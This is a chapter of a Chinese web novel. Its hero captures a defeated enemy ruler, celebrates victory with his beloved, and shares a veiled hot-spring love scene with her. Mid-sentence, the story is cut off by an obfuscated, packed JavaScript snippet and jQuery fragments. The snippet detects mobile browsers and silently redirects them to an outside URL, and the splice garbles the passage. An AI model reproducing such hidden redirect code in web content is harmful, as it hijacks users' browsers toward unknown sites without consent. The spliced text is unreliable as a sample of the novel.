112. 大胜

作品:《你们惹她干嘛!

    血流不止,发髻凌乱,此刻的檀于仙狼狈得如同丧家之犬。


    几天前,她还是呼风唤雨,风光无限的女君,如今恐怕连阶下囚都不如。


    望着不远处的棺椁,檀于仙回想自己这一生,随即讥笑不已愈笑愈张狂,直至咳出鲜血青筋暴起瞪着赵北岌问:“我儿在哪,你们把他怎么了?”


    见檀于仙平静的疯癫,赵北岌不敢放松警惕,讽刺道:“古有不及黄泉,无相见也①的郑庄公,而今你见了黄泉才觉醒母爱,你不觉得自己很可笑吗?”


    强撑着力气起身,檀于仙看着赵北岌,她双目猩红,手如鸡爪,面如白纸,唇若紫砂,寒风吹动血衣,满腔唯有不甘跟嫉妒:“赵北岌你运气好,有恩爱的父母陪伴,有兄长姐姐的关爱,有姜南溪为你解决辎重、军备等物资,而我从小摸爬滚打成长,稍有不慎就是尸骨无存。我儿是我在这世间唯一的牵挂,如果不是你们把他偷走,我根本不会输,若再有你一半的助力,我早就踏平大虞国门,成为开国女帝,名留青史。”


    听着檀于仙的狂言,赵北岌只觉得好笑至极:“开国女帝,呵护儿子,檀于仙你也配?”


    面对赵北岌的质疑,檀于仙挥动双手大声道:“我怎么不配,是我呕心沥血带领月乘由弱变强,并摆脱了乘黄部的掣肘,是我令东兰完成了对周边部族的征伐,使得东兰强大起来,是我逐渐统一各部族,让他们休养生息,我的丰功伟绩,足以证明我能成为一名伟大的君主,我儿将是最优秀的继承人!”


    檀于仙巧言令色,颠倒是非黑白,若让她继续说下去,倒显得他赵北岌是个罪人。


    “君主…”一把将人提起,赵北岌扼住檀于仙的脑袋将她拽向前方,“看看你所谓的丰功伟绩,这里血流成河,尸骸遍野,满地的冤魂,这就是你所谓的伟大!檀于仙你的伟大就是勒令自己的追随者、不臣服于你的臣民统统成为利益的牺牲品,你心里根本没有国家,你只有自私跟自怨自艾,你只是个侩子手,一位遗臭万年的人。”


    看着满眼的尸骸跟浸在血水里的旌旗,檀于仙心理防线逐渐崩溃:“我不会遗臭万年,我不会!”说完奋力挣扎。


    面对死到临头的檀于仙,赵北岌拿着刀架在她脖子上:“你没有资格在这咆哮,你要为所犯下的罪孽付出代价。”


    满眼的红入侵檀于仙的视线,她仿佛听到一声声凄惨的呼唤,一道道怨恨的叫喊,强烈的冲击令她彻底崩溃,颤抖不停。


    此时素和飞廉带着朱玄跟玄珠两位部族首领前来,他们看着拿刀架在檀于仙脖子上的赵北岌,连忙上前劝阻:“小郡王别冲动!”


    三军汇合,赵北岌看着所有人狼狈的样子,将檀于仙如同破布般丢在地上并下令:“收拾战场,回营。”


    ———


    阳光完全笼罩大地,姜南溪站在千军万马前看着身骑骏马的人,她冲了过去。


    她要去迎接她的英雄!


    赵北岌同样于千万人之中看到了爱人飞奔而来的身影,她如同月亮一般,带着璀璨的星河向着自己而来,身下的追霜发出嘶鸣,前蹄跃起奔跑,他单手一拉,将月亮抱在了怀中。


    感受着风的嘶吼,姜南溪大声道:“大胜!我们胜了!”


    双臂紧紧揽着爱人纤细的腰身,赵北岌忍不住亲吻她的额头:“赢了,我们回家!”


    迎着烈阳,乘风而起,驰骋而去的两人背影被拉得很长,如同交缠在一起的大树跟藤蔓,亦如同攀附巨石而生的苔藓,他们是有风而现的云,是夕阳下的绚丽的晚霞,是天上地下的一对璧人。


    鸣金收兵,等清扫完战场,素和飞廉发现,赵北岌跟姜南溪两人还未回来。


    营地大帐内,所有人都在整修,素和飞廉看着营地大门的方向问:“都这个时辰了,大帅怎么还没回来,不会是掉茅坑里了吧。”


    正安静喝茶的玄珠跟朱玄两姐弟听着素和飞廉的话,对视一眼后同时放下茶杯,玄珠道:“今日天气不错,又打了胜仗,你们大帅跟姜姑娘想必去放松了。”


    “他赵北岌倒是美人在怀放松去了,留我给他善后。”


    朱玄道:“我记得营地一百里外有一处天然温泉池,他们想必去哪了,佛子可需要派人去寻。”


    胜仗,温泉,独处,素和飞廉作为过来人瞬间明白什么:“算了,人家是主子,爱去哪去哪。”


    ———


    残阳西斜,温泉池内雾气氤氲。


    隔着朦胧缭绕的雾气,姜南溪看着赵北岌身上纵横交错的伤口,未愈合的旧伤又添了许多新伤,仿佛老树皮般褶皱,轻轻为人上药,忍不住问:“疼吗?”


    靠在汤池内,赵北岌用手摁住肩上一处裂开的伤口:“还行,习惯了。”说罢微微转动身体,池水泛起涟漪遮住一丝春光。


    看着泉水内若隐若现的人鱼线腹肌,姜南溪脸颊不争气的微红起来,视线开始躲避:“我给你包扎伤口。”


    池水继续晃动,赵北岌一手搭在布满青苔的鹅卵石上问:“离得这么远,南溪如何包扎,再靠近些才好。”


    水珠从赵北岌的下巴处滴落在他精致的锁骨上,姜南溪觉得有些头晕目眩,鼻息间全是冷冽的梅花香,随后感觉手被执起,裙尾落入汤池内。


    她感觉脑袋有一股热气冒出,气氛缱绻旖旎,说出口的声音都显得娇柔不少:“等下,我去拿纱...”


    布字还未说出口,整个人便如同白鹤一般坠入汤池内。


    青丝在池水上铺散开,随后交织在一起,姜南溪觉得自己抱着一个大火炉,烫得她浑身发抖,想要逃却又被禁锢,不得已推开人道:“北岌别,你身上有伤...”


    炽热的呼吸环绕细白的脖颈,赵北岌抱紧怀中人纤细的腰身:“这点伤不怕...”


    姜南溪只觉得人疯了:“你别...”只是话还没说完,唇已经被轻咬。


    梅花香化作细雨侵占山茶花树,刹那间,或粉或白的花骨朵感受着雨的滋润。


    春雨滴在树梢、树枝上,最终落在树根处,随着树叶跟花朵的舒展,雨滴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958280|154189||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    深入到花树的每一寸,花朵彻底绽放。


    而池水不断拍打在鹅卵石上,青苔愈发青翠,华服一会飘在水面,不会又陷入水底,只余柔软的袖口不断摩擦。


    残阳透过斑驳的树影照在水面,映照出如同经纬线般交织在一起的身影,青苔被抠出数道划痕,树梢上传来夜莺的鸣叫,随着晚霞褪去,月光缓缓照在大地上。


    汤泉边上不知何时落了一地的花瓣,随着夜风吹来落入水中。


    温暖的篝火旁,赵北岌背上的伤口愈发狰狞可怖,他抱着怀里的爱人,轻轻理顺她的青丝并亲吻她的额头。


    夜里万籁俱静,唯有篝火偶尔发出霹雳声,海东青霄从空中飞落,丢下一些鲜红的野果后又展翅飞上树梢,过会玄也叼了一只山鸡丢在篝火旁。


    面对两位爱宠的投喂,赵北岌人逢喜事精神爽,笑道:“知道给主子们找吃的,不枉之前那么疼你们。”


    起飞前,玄瞥了一眼男主子并不断嘀咕。


    听出玄的抱怨声,赵北岌忍不住道:“玄你那是什么眼神,别以为翅膀硬了,我就不能教训你们。”


    “咕咕咕...”


    “你还敢顶嘴,小心我剪你翅膀。”


    玄忍不住又大声嘀咕几声,好似在骂赵北岌臭不要脸,随后才飞走,而树枝上的霄为给老婆撑腰,也大声嘀咕了几句才去追老婆。


    “哎,这两鸟...”


    姜南溪在一场美梦中醒来,睁开眼便看到赵北岌在跟两头鹰斗嘴,随后忍不住轻笑:“怎么跟鸟也能吵起来!”


    看着爱人白里透红的脸,赵北岌把人抱紧问:“累吗?”


    “还好,郡王殿下比较费力。”


    “能把夫人伺候舒服,是本王的荣幸。”


    腰间的酸麻跟双腿的疼提醒着自己发生的春色,姜南溪忍不住道:“殿下功力深厚,小女子甘拜下风。”


    “夫人怎么能人认输呢,我们以后每日切磋,夫人定会适应。”


    “每日!!”姜南溪想想都觉得可怕,“殿下还是节制些吧!”


    俊脸凑上前,赵北岌忍不住问:“夫人撩人,为夫如何克制,不如夫人常伴身旁,日日与君好如何?”


    这话吓得姜南溪一个激灵坐起身道:“此事改日再议,不如先动身回大营如何?”


    大手揽住爱人的腰身,赵北岌低笑道:“夫人莫把我当做不知廉耻的禽兽,为夫今日刚承欢,也需要休息的。”


    他到好意思用承欢这个词!果然男人吃到肉后,就会变得油嘴滑舌。


    “你不回营地,三军怎么办?”


    “有佛子坐镇,无碍。”


    “你倒是很会算计他,不仅让他打白工,还把人家当牛马使用。”


    撩起夫人的一缕青丝,赵北岌笑道:“哪里是我把佛子当牛马使用,分明是夫人心中早有筹谋,想把人丢在北境罢了。”


    披上晾干的外衣,看着不断摇晃的火焰,姜南溪道:“打了胜仗,是该回京亮出我们的剑刃了。”